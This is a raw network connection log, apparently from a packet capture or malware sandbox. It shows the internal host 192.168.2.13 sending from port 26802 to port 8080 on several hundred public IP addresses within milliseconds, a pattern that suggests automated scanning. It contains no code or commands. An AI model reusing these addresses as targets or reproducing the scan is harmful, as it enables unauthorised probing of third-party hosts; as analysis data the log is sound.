Feb 19, 2025 19:43:16.238995075 CET	26802	8080	192.168.2.13	95.222.11.0
Feb 19, 2025 19:43:16.238993883 CET	26802	8080	192.168.2.13	85.182.132.23
Feb 19, 2025 19:43:16.239000082 CET	26802	8080	192.168.2.13	31.120.235.125
Feb 19, 2025 19:43:16.238993883 CET	26802	8080	192.168.2.13	31.158.3.244
Feb 19, 2025 19:43:16.239000082 CET	26802	8080	192.168.2.13	62.177.57.216
Feb 19, 2025 19:43:16.238986969 CET	26802	8080	192.168.2.13	62.164.29.32
Feb 19, 2025 19:43:16.238986969 CET	26802	8080	192.168.2.13	95.126.33.64
Feb 19, 2025 19:43:16.238986969 CET	26802	8080	192.168.2.13	62.207.126.111
Feb 19, 2025 19:43:16.238998890 CET	26802	8080	192.168.2.13	62.160.16.12
Feb 19, 2025 19:43:16.238986969 CET	26802	8080	192.168.2.13	85.187.245.223
Feb 19, 2025 19:43:16.238998890 CET	26802	8080	192.168.2.13	62.211.197.30
Feb 19, 2025 19:43:16.239007950 CET	26802	8080	192.168.2.13	62.188.42.204
Feb 19, 2025 19:43:16.239008904 CET	26802	8080	192.168.2.13	85.68.142.144
Feb 19, 2025 19:43:16.239008904 CET	26802	8080	192.168.2.13	62.47.22.209
Feb 19, 2025 19:43:16.239008904 CET	26802	8080	192.168.2.13	94.237.222.164
Feb 19, 2025 19:43:16.239015102 CET	26802	8080	192.168.2.13	62.94.209.77
Feb 19, 2025 19:43:16.239018917 CET	26802	8080	192.168.2.13	85.168.47.153
Feb 19, 2025 19:43:16.239018917 CET	26802	8080	192.168.2.13	85.59.78.39
Feb 19, 2025 19:43:16.239018917 CET	26802	8080	192.168.2.13	85.48.169.144
Feb 19, 2025 19:43:16.239026070 CET	26802	8080	192.168.2.13	94.79.82.123
Feb 19, 2025 19:43:16.239027023 CET	26802	8080	192.168.2.13	94.250.211.227
Feb 19, 2025 19:43:16.239027023 CET	26802	8080	192.168.2.13	85.156.248.23
Feb 19, 2025 19:43:16.239032984 CET	26802	8080	192.168.2.13	85.163.157.147
Feb 19, 2025 19:43:16.239032984 CET	26802	8080	192.168.2.13	31.140.56.83
Feb 19, 2025 19:43:16.239032984 CET	26802	8080	192.168.2.13	85.231.190.154
Feb 19, 2025 19:43:16.239037037 CET	26802	8080	192.168.2.13	62.57.162.82
Feb 19, 2025 19:43:16.239047050 CET	26802	8080	192.168.2.13	62.172.29.220
Feb 19, 2025 19:43:16.239059925 CET	26802	8080	192.168.2.13	95.216.64.89
Feb 19, 2025 19:43:16.239067078 CET	26802	8080	192.168.2.13	85.151.111.219
Feb 19, 2025 19:43:16.239078045 CET	26802	8080	192.168.2.13	85.205.204.216
Feb 19, 2025 19:43:16.239084005 CET	26802	8080	192.168.2.13	94.89.48.162
Feb 19, 2025 19:43:16.239100933 CET	26802	8080	192.168.2.13	31.83.11.8
Feb 19, 2025 19:43:16.239101887 CET	26802	8080	192.168.2.13	62.141.159.58
Feb 19, 2025 19:43:16.239111900 CET	26802	8080	192.168.2.13	95.96.80.88
Feb 19, 2025 19:43:16.239119053 CET	26802	8080	192.168.2.13	94.156.189.167
Feb 19, 2025 19:43:16.239125967 CET	26802	8080	192.168.2.13	85.221.53.215
Feb 19, 2025 19:43:16.239141941 CET	26802	8080	192.168.2.13	85.152.218.173
Feb 19, 2025 19:43:16.239145041 CET	26802	8080	192.168.2.13	62.220.159.223
Feb 19, 2025 19:43:16.239159107 CET	26802	8080	192.168.2.13	95.249.137.233
Feb 19, 2025 19:43:16.239161968 CET	26802	8080	192.168.2.13	85.32.234.193
Feb 19, 2025 19:43:16.239171982 CET	26802	8080	192.168.2.13	94.248.154.37
Feb 19, 2025 19:43:16.239185095 CET	26802	8080	192.168.2.13	95.241.126.189
Feb 19, 2025 19:43:16.239185095 CET	26802	8080	192.168.2.13	94.189.158.161
Feb 19, 2025 19:43:16.239195108 CET	26802	8080	192.168.2.13	31.127.65.76
Feb 19, 2025 19:43:16.239201069 CET	26802	8080	192.168.2.13	95.148.46.230
Feb 19, 2025 19:43:16.239207029 CET	26802	8080	192.168.2.13	95.86.193.97
Feb 19, 2025 19:43:16.239222050 CET	26802	8080	192.168.2.13	95.207.75.239
Feb 19, 2025 19:43:16.239231110 CET	26802	8080	192.168.2.13	94.22.208.78
Feb 19, 2025 19:43:16.239233971 CET	26802	8080	192.168.2.13	85.6.135.165
Feb 19, 2025 19:43:16.239233971 CET	26802	8080	192.168.2.13	94.255.72.245
Feb 19, 2025 19:43:16.239262104 CET	26802	8080	192.168.2.13	95.169.53.88
Feb 19, 2025 19:43:16.239273071 CET	26802	8080	192.168.2.13	95.167.119.183
Feb 19, 2025 19:43:16.239279985 CET	26802	8080	192.168.2.13	62.124.130.28
Feb 19, 2025 19:43:16.239283085 CET	26802	8080	192.168.2.13	94.194.26.168
Feb 19, 2025 19:43:16.239295959 CET	26802	8080	192.168.2.13	95.168.45.43
Feb 19, 2025 19:43:16.239300013 CET	26802	8080	192.168.2.13	95.178.42.33
Feb 19, 2025 19:43:16.239310026 CET	26802	8080	192.168.2.13	62.152.183.104
Feb 19, 2025 19:43:16.239322901 CET	26802	8080	192.168.2.13	62.112.194.171
Feb 19, 2025 19:43:16.239336014 CET	26802	8080	192.168.2.13	31.156.226.186
Feb 19, 2025 19:43:16.239336967 CET	26802	8080	192.168.2.13	95.67.114.169
Feb 19, 2025 19:43:16.239343882 CET	26802	8080	192.168.2.13	94.228.75.69
Feb 19, 2025 19:43:16.239343882 CET	26802	8080	192.168.2.13	94.32.237.130
Feb 19, 2025 19:43:16.239353895 CET	26802	8080	192.168.2.13	62.158.26.116
Feb 19, 2025 19:43:16.239362955 CET	26802	8080	192.168.2.13	62.76.128.244
Feb 19, 2025 19:43:16.239373922 CET	26802	8080	192.168.2.13	94.195.64.57
Feb 19, 2025 19:43:16.239384890 CET	26802	8080	192.168.2.13	95.203.30.153
Feb 19, 2025 19:43:16.239387989 CET	26802	8080	192.168.2.13	94.18.154.66
Feb 19, 2025 19:43:16.239397049 CET	26802	8080	192.168.2.13	94.204.66.8
Feb 19, 2025 19:43:16.239407063 CET	26802	8080	192.168.2.13	85.120.5.29
Feb 19, 2025 19:43:16.239414930 CET	26802	8080	192.168.2.13	94.201.70.25
Feb 19, 2025 19:43:16.239422083 CET	26802	8080	192.168.2.13	85.50.195.106
Feb 19, 2025 19:43:16.239430904 CET	26802	8080	192.168.2.13	31.161.55.161
Feb 19, 2025 19:43:16.239434958 CET	26802	8080	192.168.2.13	85.180.88.6
Feb 19, 2025 19:43:16.239444971 CET	26802	8080	192.168.2.13	85.154.40.17
Feb 19, 2025 19:43:16.239451885 CET	26802	8080	192.168.2.13	85.90.68.108
Feb 19, 2025 19:43:16.239460945 CET	26802	8080	192.168.2.13	85.59.223.67
Feb 19, 2025 19:43:16.239473104 CET	26802	8080	192.168.2.13	85.16.153.212
Feb 19, 2025 19:43:16.239476919 CET	26802	8080	192.168.2.13	85.196.4.30
Feb 19, 2025 19:43:16.239489079 CET	26802	8080	192.168.2.13	95.69.178.151
Feb 19, 2025 19:43:16.239494085 CET	26802	8080	192.168.2.13	62.193.142.54
Feb 19, 2025 19:43:16.239499092 CET	26802	8080	192.168.2.13	62.1.28.149
Feb 19, 2025 19:43:16.239512920 CET	26802	8080	192.168.2.13	95.212.87.62
Feb 19, 2025 19:43:16.239517927 CET	26802	8080	192.168.2.13	85.121.159.51
Feb 19, 2025 19:43:16.239526033 CET	26802	8080	192.168.2.13	95.215.24.254
Feb 19, 2025 19:43:16.239526033 CET	26802	8080	192.168.2.13	95.211.129.9
Feb 19, 2025 19:43:16.239542961 CET	26802	8080	192.168.2.13	85.146.230.234
Feb 19, 2025 19:43:16.239552021 CET	26802	8080	192.168.2.13	62.105.250.237
Feb 19, 2025 19:43:16.239561081 CET	26802	8080	192.168.2.13	62.25.181.59
Feb 19, 2025 19:43:16.239563942 CET	26802	8080	192.168.2.13	94.126.59.224
Feb 19, 2025 19:43:16.239577055 CET	26802	8080	192.168.2.13	62.194.113.217
Feb 19, 2025 19:43:16.239593029 CET	26802	8080	192.168.2.13	62.218.21.21
Feb 19, 2025 19:43:16.239597082 CET	26802	8080	192.168.2.13	31.209.156.128
Feb 19, 2025 19:43:16.239598989 CET	26802	8080	192.168.2.13	31.40.87.18
Feb 19, 2025 19:43:16.239603043 CET	26802	8080	192.168.2.13	31.231.138.209
Feb 19, 2025 19:43:16.239609957 CET	26802	8080	192.168.2.13	85.56.168.130
Feb 19, 2025 19:43:16.239622116 CET	26802	8080	192.168.2.13	31.122.122.251
Feb 19, 2025 19:43:16.239624977 CET	26802	8080	192.168.2.13	95.87.252.203
Feb 19, 2025 19:43:16.239630938 CET	26802	8080	192.168.2.13	62.87.199.136
Feb 19, 2025 19:43:16.239643097 CET	26802	8080	192.168.2.13	31.181.61.232
Feb 19, 2025 19:43:16.239650011 CET	26802	8080	192.168.2.13	85.74.175.56
Feb 19, 2025 19:43:16.239654064 CET	26802	8080	192.168.2.13	31.169.143.197
Feb 19, 2025 19:43:16.239664078 CET	26802	8080	192.168.2.13	95.17.88.136
Feb 19, 2025 19:43:16.239667892 CET	26802	8080	192.168.2.13	62.158.121.121
Feb 19, 2025 19:43:16.239682913 CET	26802	8080	192.168.2.13	31.54.178.175
Feb 19, 2025 19:43:16.239686012 CET	26802	8080	192.168.2.13	95.213.197.104
Feb 19, 2025 19:43:16.239695072 CET	26802	8080	192.168.2.13	31.83.74.65
Feb 19, 2025 19:43:16.239698887 CET	26802	8080	192.168.2.13	31.171.113.12
Feb 19, 2025 19:43:16.239707947 CET	26802	8080	192.168.2.13	95.210.3.237
Feb 19, 2025 19:43:16.239716053 CET	26802	8080	192.168.2.13	31.145.179.31
Feb 19, 2025 19:43:16.239726067 CET	26802	8080	192.168.2.13	31.91.25.36
Feb 19, 2025 19:43:16.239736080 CET	26802	8080	192.168.2.13	94.170.191.234
Feb 19, 2025 19:43:16.239747047 CET	26802	8080	192.168.2.13	95.130.119.58
Feb 19, 2025 19:43:16.239759922 CET	26802	8080	192.168.2.13	31.4.52.90
Feb 19, 2025 19:43:16.239759922 CET	26802	8080	192.168.2.13	62.61.143.218
Feb 19, 2025 19:43:16.239765882 CET	26802	8080	192.168.2.13	95.97.66.26
Feb 19, 2025 19:43:16.239778996 CET	26802	8080	192.168.2.13	62.110.218.158
Feb 19, 2025 19:43:16.239782095 CET	26802	8080	192.168.2.13	95.80.158.48
Feb 19, 2025 19:43:16.239798069 CET	26802	8080	192.168.2.13	62.236.55.145
Feb 19, 2025 19:43:16.239801884 CET	26802	8080	192.168.2.13	94.223.132.104
Feb 19, 2025 19:43:16.239803076 CET	26802	8080	192.168.2.13	85.50.198.152
Feb 19, 2025 19:43:16.239813089 CET	26802	8080	192.168.2.13	95.33.130.166
Feb 19, 2025 19:43:16.239823103 CET	26802	8080	192.168.2.13	94.66.230.208
Feb 19, 2025 19:43:16.239826918 CET	26802	8080	192.168.2.13	95.71.57.162
Feb 19, 2025 19:43:16.239835024 CET	26802	8080	192.168.2.13	94.137.238.180
Feb 19, 2025 19:43:16.239846945 CET	26802	8080	192.168.2.13	94.59.215.68
Feb 19, 2025 19:43:16.239855051 CET	26802	8080	192.168.2.13	85.72.139.152
Feb 19, 2025 19:43:16.239864111 CET	26802	8080	192.168.2.13	85.201.94.148
Feb 19, 2025 19:43:16.239872932 CET	26802	8080	192.168.2.13	95.34.237.78
Feb 19, 2025 19:43:16.239881992 CET	26802	8080	192.168.2.13	94.117.251.7
Feb 19, 2025 19:43:16.239890099 CET	26802	8080	192.168.2.13	31.218.170.158
Feb 19, 2025 19:43:16.239902020 CET	26802	8080	192.168.2.13	85.4.193.123
Feb 19, 2025 19:43:16.239906073 CET	26802	8080	192.168.2.13	85.35.106.152
Feb 19, 2025 19:43:16.239917994 CET	26802	8080	192.168.2.13	94.246.148.59
Feb 19, 2025 19:43:16.239926100 CET	26802	8080	192.168.2.13	62.148.109.80
Feb 19, 2025 19:43:16.239936113 CET	26802	8080	192.168.2.13	31.188.187.173
Feb 19, 2025 19:43:16.239947081 CET	26802	8080	192.168.2.13	94.21.233.160
Feb 19, 2025 19:43:16.239964962 CET	26802	8080	192.168.2.13	94.145.200.239
Feb 19, 2025 19:43:16.239972115 CET	26802	8080	192.168.2.13	62.64.185.185
Feb 19, 2025 19:43:16.239983082 CET	26802	8080	192.168.2.13	95.223.228.252
Feb 19, 2025 19:43:16.239984989 CET	26802	8080	192.168.2.13	85.144.24.66
Feb 19, 2025 19:43:16.239990950 CET	26802	8080	192.168.2.13	94.32.194.186
Feb 19, 2025 19:43:16.240005016 CET	26802	8080	192.168.2.13	95.175.116.125
Feb 19, 2025 19:43:16.240010023 CET	26802	8080	192.168.2.13	95.106.7.31
Feb 19, 2025 19:43:16.240014076 CET	26802	8080	192.168.2.13	95.184.175.30
Feb 19, 2025 19:43:16.240025997 CET	26802	8080	192.168.2.13	31.218.199.208
Feb 19, 2025 19:43:16.240030050 CET	26802	8080	192.168.2.13	95.94.117.158
Feb 19, 2025 19:43:16.240041018 CET	26802	8080	192.168.2.13	62.226.100.58
Feb 19, 2025 19:43:16.240050077 CET	26802	8080	192.168.2.13	94.217.45.62
Feb 19, 2025 19:43:16.240052938 CET	26802	8080	192.168.2.13	94.54.206.42
Feb 19, 2025 19:43:16.240066051 CET	26802	8080	192.168.2.13	94.203.213.163
Feb 19, 2025 19:43:16.240066051 CET	26802	8080	192.168.2.13	94.15.45.254
Feb 19, 2025 19:43:16.240077019 CET	26802	8080	192.168.2.13	95.32.52.28
Feb 19, 2025 19:43:16.240081072 CET	26802	8080	192.168.2.13	62.10.4.126
Feb 19, 2025 19:43:16.240087986 CET	26802	8080	192.168.2.13	95.58.236.92
Feb 19, 2025 19:43:16.240096092 CET	26802	8080	192.168.2.13	94.12.155.248
Feb 19, 2025 19:43:16.240103960 CET	26802	8080	192.168.2.13	62.190.39.7
Feb 19, 2025 19:43:16.240113974 CET	26802	8080	192.168.2.13	31.115.183.21
Feb 19, 2025 19:43:16.240128040 CET	26802	8080	192.168.2.13	85.174.8.7
Feb 19, 2025 19:43:16.240129948 CET	26802	8080	192.168.2.13	62.44.161.223
Feb 19, 2025 19:43:16.240139008 CET	26802	8080	192.168.2.13	94.21.181.21
Feb 19, 2025 19:43:16.240145922 CET	26802	8080	192.168.2.13	95.33.27.142
Feb 19, 2025 19:43:16.240147114 CET	26802	8080	192.168.2.13	94.78.13.71
Feb 19, 2025 19:43:16.240154982 CET	26802	8080	192.168.2.13	85.220.126.55
Feb 19, 2025 19:43:16.240163088 CET	26802	8080	192.168.2.13	95.77.9.172
Feb 19, 2025 19:43:16.240164995 CET	26802	8080	192.168.2.13	85.76.120.180
Feb 19, 2025 19:43:16.240173101 CET	26802	8080	192.168.2.13	85.159.42.173
Feb 19, 2025 19:43:16.240180969 CET	26802	8080	192.168.2.13	62.75.181.130
Feb 19, 2025 19:43:16.240189075 CET	26802	8080	192.168.2.13	85.174.123.77
Feb 19, 2025 19:43:16.240200996 CET	26802	8080	192.168.2.13	31.254.47.203
Feb 19, 2025 19:43:16.240206003 CET	26802	8080	192.168.2.13	85.219.177.26
Feb 19, 2025 19:43:16.240211010 CET	26802	8080	192.168.2.13	94.48.208.190
Feb 19, 2025 19:43:16.240221024 CET	26802	8080	192.168.2.13	95.146.27.150
Feb 19, 2025 19:43:16.240227938 CET	26802	8080	192.168.2.13	94.180.99.199
Feb 19, 2025 19:43:16.240238905 CET	26802	8080	192.168.2.13	95.100.31.153
Feb 19, 2025 19:43:16.240242004 CET	26802	8080	192.168.2.13	95.31.13.212
Feb 19, 2025 19:43:16.240252972 CET	26802	8080	192.168.2.13	85.202.234.186
Feb 19, 2025 19:43:16.240257025 CET	26802	8080	192.168.2.13	31.173.145.181
Feb 19, 2025 19:43:16.240262985 CET	26802	8080	192.168.2.13	85.52.115.34
Feb 19, 2025 19:43:16.240274906 CET	26802	8080	192.168.2.13	85.180.159.255
Feb 19, 2025 19:43:16.240279913 CET	26802	8080	192.168.2.13	85.118.83.239
Feb 19, 2025 19:43:16.240287066 CET	26802	8080	192.168.2.13	62.91.207.191
Feb 19, 2025 19:43:16.240302086 CET	26802	8080	192.168.2.13	85.56.54.65
Feb 19, 2025 19:43:16.240309954 CET	26802	8080	192.168.2.13	85.34.197.161
Feb 19, 2025 19:43:16.240313053 CET	26802	8080	192.168.2.13	31.182.68.112
Feb 19, 2025 19:43:16.240320921 CET	26802	8080	192.168.2.13	94.220.135.10
Feb 19, 2025 19:43:16.240325928 CET	26802	8080	192.168.2.13	62.6.228.143
Feb 19, 2025 19:43:16.240338087 CET	26802	8080	192.168.2.13	94.58.27.148
Feb 19, 2025 19:43:16.240349054 CET	26802	8080	192.168.2.13	85.121.229.89
Feb 19, 2025 19:43:16.240356922 CET	26802	8080	192.168.2.13	94.50.119.22
Feb 19, 2025 19:43:16.240362883 CET	26802	8080	192.168.2.13	62.125.155.81
Feb 19, 2025 19:43:16.240369081 CET	26802	8080	192.168.2.13	62.249.53.59
Feb 19, 2025 19:43:16.240380049 CET	26802	8080	192.168.2.13	62.142.81.247
Feb 19, 2025 19:43:16.240389109 CET	26802	8080	192.168.2.13	85.43.101.154
Feb 19, 2025 19:43:16.240397930 CET	26802	8080	192.168.2.13	95.105.2.82
Feb 19, 2025 19:43:16.240405083 CET	26802	8080	192.168.2.13	31.2.215.248
Feb 19, 2025 19:43:16.240417004 CET	26802	8080	192.168.2.13	31.157.234.52
Feb 19, 2025 19:43:16.240426064 CET	26802	8080	192.168.2.13	31.147.155.36
Feb 19, 2025 19:43:16.240434885 CET	26802	8080	192.168.2.13	95.59.166.210
Feb 19, 2025 19:43:16.240449905 CET	26802	8080	192.168.2.13	95.60.19.177
Feb 19, 2025 19:43:16.240453959 CET	26802	8080	192.168.2.13	85.142.75.232
Feb 19, 2025 19:43:16.240467072 CET	26802	8080	192.168.2.13	31.121.217.229
Feb 19, 2025 19:43:16.240472078 CET	26802	8080	192.168.2.13	85.176.239.193
Feb 19, 2025 19:43:16.240480900 CET	26802	8080	192.168.2.13	85.212.122.73
Feb 19, 2025 19:43:16.240483999 CET	26802	8080	192.168.2.13	85.145.232.148
Feb 19, 2025 19:43:16.240495920 CET	26802	8080	192.168.2.13	85.159.77.153
Feb 19, 2025 19:43:16.240500927 CET	26802	8080	192.168.2.13	85.231.188.244
Feb 19, 2025 19:43:16.240500927 CET	26802	8080	192.168.2.13	95.243.32.9
Feb 19, 2025 19:43:16.240511894 CET	26802	8080	192.168.2.13	95.81.126.231
Feb 19, 2025 19:43:16.240518093 CET	26802	8080	192.168.2.13	95.153.87.123
Feb 19, 2025 19:43:16.240530014 CET	26802	8080	192.168.2.13	31.46.109.44
Feb 19, 2025 19:43:16.240539074 CET	26802	8080	192.168.2.13	85.193.101.105
Feb 19, 2025 19:43:16.240546942 CET	26802	8080	192.168.2.13	94.162.205.75
Feb 19, 2025 19:43:16.240552902 CET	26802	8080	192.168.2.13	85.176.3.250
Feb 19, 2025 19:43:16.240564108 CET	26802	8080	192.168.2.13	85.38.213.51
Feb 19, 2025 19:43:16.240566015 CET	26802	8080	192.168.2.13	95.71.114.250
Feb 19, 2025 19:43:16.240572929 CET	26802	8080	192.168.2.13	85.58.52.180
Feb 19, 2025 19:43:16.240580082 CET	26802	8080	192.168.2.13	85.234.59.179
Feb 19, 2025 19:43:16.240586042 CET	26802	8080	192.168.2.13	94.218.170.96
Feb 19, 2025 19:43:16.240593910 CET	26802	8080	192.168.2.13	94.202.44.117
Feb 19, 2025 19:43:16.240598917 CET	26802	8080	192.168.2.13	31.35.195.140
Feb 19, 2025 19:43:16.240612030 CET	26802	8080	192.168.2.13	95.97.4.255
Feb 19, 2025 19:43:16.240622044 CET	26802	8080	192.168.2.13	85.126.172.138
Feb 19, 2025 19:43:16.240631104 CET	26802	8080	192.168.2.13	94.225.85.155
Feb 19, 2025 19:43:16.240639925 CET	26802	8080	192.168.2.13	31.64.39.74
Feb 19, 2025 19:43:16.240639925 CET	26802	8080	192.168.2.13	31.86.68.31
Feb 19, 2025 19:43:16.240655899 CET	26802	8080	192.168.2.13	31.49.1.109
Feb 19, 2025 19:43:16.240684986 CET	26802	8080	192.168.2.13	31.40.29.57
Feb 19, 2025 19:43:16.240688086 CET	26802	8080	192.168.2.13	85.89.70.105
Feb 19, 2025 19:43:16.240688086 CET	26802	8080	192.168.2.13	94.55.35.110
Feb 19, 2025 19:43:16.240700006 CET	26802	8080	192.168.2.13	94.235.154.195
Feb 19, 2025 19:43:16.240711927 CET	26802	8080	192.168.2.13	94.203.70.185
Feb 19, 2025 19:43:16.240720987 CET	26802	8080	192.168.2.13	85.162.185.175
Feb 19, 2025 19:43:16.240732908 CET	26802	8080	192.168.2.13	62.131.124.58
Feb 19, 2025 19:43:16.240736008 CET	26802	8080	192.168.2.13	31.5.8.151
Feb 19, 2025 19:43:16.240742922 CET	26802	8080	192.168.2.13	85.167.172.28
Feb 19, 2025 19:43:16.240752935 CET	26802	8080	192.168.2.13	95.16.181.42
Feb 19, 2025 19:43:16.240761995 CET	26802	8080	192.168.2.13	62.135.184.9
Feb 19, 2025 19:43:16.240768909 CET	26802	8080	192.168.2.13	31.238.180.99
Feb 19, 2025 19:43:16.240784883 CET	26802	8080	192.168.2.13	62.128.164.83
Feb 19, 2025 19:43:16.240791082 CET	26802	8080	192.168.2.13	31.126.97.78
Feb 19, 2025 19:43:16.240799904 CET	26802	8080	192.168.2.13	94.90.43.254
Feb 19, 2025 19:43:16.240807056 CET	26802	8080	192.168.2.13	95.40.62.68
Feb 19, 2025 19:43:16.240816116 CET	26802	8080	192.168.2.13	85.152.234.142
Feb 19, 2025 19:43:16.240828037 CET	26802	8080	192.168.2.13	62.30.196.132
Feb 19, 2025 19:43:16.240830898 CET	26802	8080	192.168.2.13	95.231.50.167
Feb 19, 2025 19:43:16.240842104 CET	26802	8080	192.168.2.13	95.62.208.61
Feb 19, 2025 19:43:16.240849972 CET	26802	8080	192.168.2.13	31.43.202.99
Feb 19, 2025 19:43:16.240861893 CET	26802	8080	192.168.2.13	94.234.114.171
Feb 19, 2025 19:43:16.240875959 CET	26802	8080	192.168.2.13	94.56.220.192
Feb 19, 2025 19:43:16.240876913 CET	26802	8080	192.168.2.13	31.26.102.131
Feb 19, 2025 19:43:16.240886927 CET	26802	8080	192.168.2.13	31.181.215.126
Feb 19, 2025 19:43:16.240890026 CET	26802	8080	192.168.2.13	85.59.106.254
Feb 19, 2025 19:43:16.240899086 CET	26802	8080	192.168.2.13	62.146.133.84
Feb 19, 2025 19:43:16.240911961 CET	26802	8080	192.168.2.13	85.175.179.196
Feb 19, 2025 19:43:16.240911961 CET	26802	8080	192.168.2.13	62.146.168.225
Feb 19, 2025 19:43:16.240925074 CET	26802	8080	192.168.2.13	95.92.148.164
Feb 19, 2025 19:43:16.240940094 CET	26802	8080	192.168.2.13	62.175.188.117
Feb 19, 2025 19:43:16.240942001 CET	26802	8080	192.168.2.13	95.77.252.254
Feb 19, 2025 19:43:16.240957975 CET	8080	53228	85.121.87.249	192.168.2.13
Feb 19, 2025 19:43:16.240957975 CET	26802	8080	192.168.2.13	85.113.33.176
Feb 19, 2025 19:43:16.240966082 CET	26802	8080	192.168.2.13	62.34.169.159
Feb 19, 2025 19:43:16.240966082 CET	26802	8080	192.168.2.13	62.83.6.23
Feb 19, 2025 19:43:16.240978956 CET	26802	8080	192.168.2.13	31.171.121.207
Feb 19, 2025 19:43:16.240993977 CET	53228	8080	192.168.2.13	85.121.87.249
Feb 19, 2025 19:43:16.241003036 CET	26802	8080	192.168.2.13	31.172.25.254
Feb 19, 2025 19:43:16.241008997 CET	26802	8080	192.168.2.13	31.153.15.125
Feb 19, 2025 19:43:16.241015911 CET	26802	8080	192.168.2.13	85.122.254.152
Feb 19, 2025 19:43:16.241030931 CET	26802	8080	192.168.2.13	62.177.233.178
Feb 19, 2025 19:43:16.241030931 CET	26802	8080	192.168.2.13	94.201.192.242
Feb 19, 2025 19:43:16.241044998 CET	26802	8080	192.168.2.13	94.221.113.93
Feb 19, 2025 19:43:16.241049051 CET	26802	8080	192.168.2.13	62.192.74.251
Feb 19, 2025 19:43:16.241059065 CET	26802	8080	192.168.2.13	85.228.30.62
Feb 19, 2025 19:43:16.241060972 CET	26802	8080	192.168.2.13	85.50.78.95
Feb 19, 2025 19:43:16.241067886 CET	26802	8080	192.168.2.13	95.138.191.153
Feb 19, 2025 19:43:16.241075039 CET	26802	8080	192.168.2.13	31.199.76.12
Feb 19, 2025 19:43:16.241079092 CET	26802	8080	192.168.2.13	95.20.203.158
Feb 19, 2025 19:43:16.241084099 CET	26802	8080	192.168.2.13	85.123.119.77
Feb 19, 2025 19:43:16.241094112 CET	26802	8080	192.168.2.13	31.73.30.2
Feb 19, 2025 19:43:16.241111040 CET	26802	8080	192.168.2.13	31.104.235.138
Feb 19, 2025 19:43:16.241117954 CET	26802	8080	192.168.2.13	62.137.151.43
Feb 19, 2025 19:43:16.241123915 CET	26802	8080	192.168.2.13	31.170.41.24
Feb 19, 2025 19:43:16.241132021 CET	26802	8080	192.168.2.13	85.104.238.235
Feb 19, 2025 19:43:16.241142988 CET	26802	8080	192.168.2.13	94.243.167.172
Feb 19, 2025 19:43:16.241144896 CET	26802	8080	192.168.2.13	62.43.2.252
Feb 19, 2025 19:43:16.241156101 CET	26802	8080	192.168.2.13	95.33.161.23
Feb 19, 2025 19:43:16.241159916 CET	26802	8080	192.168.2.13	85.116.182.223
Feb 19, 2025 19:43:16.241163015 CET	26802	8080	192.168.2.13	94.132.73.49
Feb 19, 2025 19:43:16.241184950 CET	26802	8080	192.168.2.13	94.92.19.240
Feb 19, 2025 19:43:16.241188049 CET	26802	8080	192.168.2.13	31.237.81.195
Feb 19, 2025 19:43:16.241188049 CET	26802	8080	192.168.2.13	62.61.56.127
Feb 19, 2025 19:43:16.241195917 CET	26802	8080	192.168.2.13	94.125.211.14
Feb 19, 2025 19:43:16.241209984 CET	26802	8080	192.168.2.13	85.207.252.40
Feb 19, 2025 19:43:16.241209984 CET	26802	8080	192.168.2.13	85.13.246.34
Feb 19, 2025 19:43:16.241229057 CET	26802	8080	192.168.2.13	62.170.141.159
Feb 19, 2025 19:43:16.241230011 CET	26802	8080	192.168.2.13	62.24.178.198
Feb 19, 2025 19:43:16.241238117 CET	26802	8080	192.168.2.13	31.194.15.222
Feb 19, 2025 19:43:16.241246939 CET	26802	8080	192.168.2.13	62.53.150.254
Feb 19, 2025 19:43:16.241254091 CET	26802	8080	192.168.2.13	94.127.158.212
Feb 19, 2025 19:43:16.241264105 CET	26802	8080	192.168.2.13	94.0.87.188
Feb 19, 2025 19:43:16.241267920 CET	26802	8080	192.168.2.13	95.197.147.143
Feb 19, 2025 19:43:16.241277933 CET	26802	8080	192.168.2.13	31.157.143.78
Feb 19, 2025 19:43:16.241282940 CET	26802	8080	192.168.2.13	62.179.66.78
Feb 19, 2025 19:43:16.241296053 CET	26802	8080	192.168.2.13	85.155.253.202
Feb 19, 2025 19:43:16.241297007 CET	26802	8080	192.168.2.13	31.28.252.186
Feb 19, 2025 19:43:16.241307020 CET	26802	8080	192.168.2.13	62.202.24.58
Feb 19, 2025 19:43:16.241314888 CET	26802	8080	192.168.2.13	95.85.165.76
Feb 19, 2025 19:43:16.241323948 CET	26802	8080	192.168.2.13	31.211.245.127
Feb 19, 2025 19:43:16.241333008 CET	26802	8080	192.168.2.13	94.134.207.19
Feb 19, 2025 19:43:16.241333008 CET	26802	8080	192.168.2.13	62.104.132.28
Feb 19, 2025 19:43:16.241343975 CET	26802	8080	192.168.2.13	85.150.161.179
Feb 19, 2025 19:43:16.241352081 CET	26802	8080	192.168.2.13	95.87.71.121
Feb 19, 2025 19:43:16.241363049 CET	26802	8080	192.168.2.13	95.125.65.235
Feb 19, 2025 19:43:16.241384029 CET	26802	8080	192.168.2.13	62.246.26.71
Feb 19, 2025 19:43:16.241385937 CET	26802	8080	192.168.2.13	85.129.12.105
Feb 19, 2025 19:43:16.241400003 CET	26802	8080	192.168.2.13	94.117.8.235
Feb 19, 2025 19:43:16.241400003 CET	26802	8080	192.168.2.13	85.93.68.217
Feb 19, 2025 19:43:16.241410017 CET	26802	8080	192.168.2.13	95.97.242.234
Feb 19, 2025 19:43:16.241417885 CET	26802	8080	192.168.2.13	94.199.191.69
Feb 19, 2025 19:43:16.241434097 CET	26802	8080	192.168.2.13	62.19.214.162
Feb 19, 2025 19:43:16.241436958 CET	26802	8080	192.168.2.13	31.167.24.53
Feb 19, 2025 19:43:16.241446018 CET	26802	8080	192.168.2.13	85.230.62.68
Feb 19, 2025 19:43:16.241451979 CET	26802	8080	192.168.2.13	31.15.211.28
Feb 19, 2025 19:43:16.241465092 CET	26802	8080	192.168.2.13	95.68.1.226
Feb 19, 2025 19:43:16.241478920 CET	26802	8080	192.168.2.13	94.96.85.24
Feb 19, 2025 19:43:16.241478920 CET	26802	8080	192.168.2.13	95.149.8.15
Feb 19, 2025 19:43:16.241491079 CET	26802	8080	192.168.2.13	85.125.147.125
Feb 19, 2025 19:43:16.241491079 CET	26802	8080	192.168.2.13	31.167.81.49
Feb 19, 2025 19:43:16.241506100 CET	26802	8080	192.168.2.13	95.46.242.38
Feb 19, 2025 19:43:16.241516113 CET	26802	8080	192.168.2.13	62.48.44.60
Feb 19, 2025 19:43:16.241523981 CET	26802	8080	192.168.2.13	95.142.186.205
Feb 19, 2025 19:43:16.241532087 CET	26802	8080	192.168.2.13	31.255.65.201
Feb 19, 2025 19:43:16.241544962 CET	26802	8080	192.168.2.13	85.50.86.166
Feb 19, 2025 19:43:16.241549969 CET	26802	8080	192.168.2.13	62.74.154.222
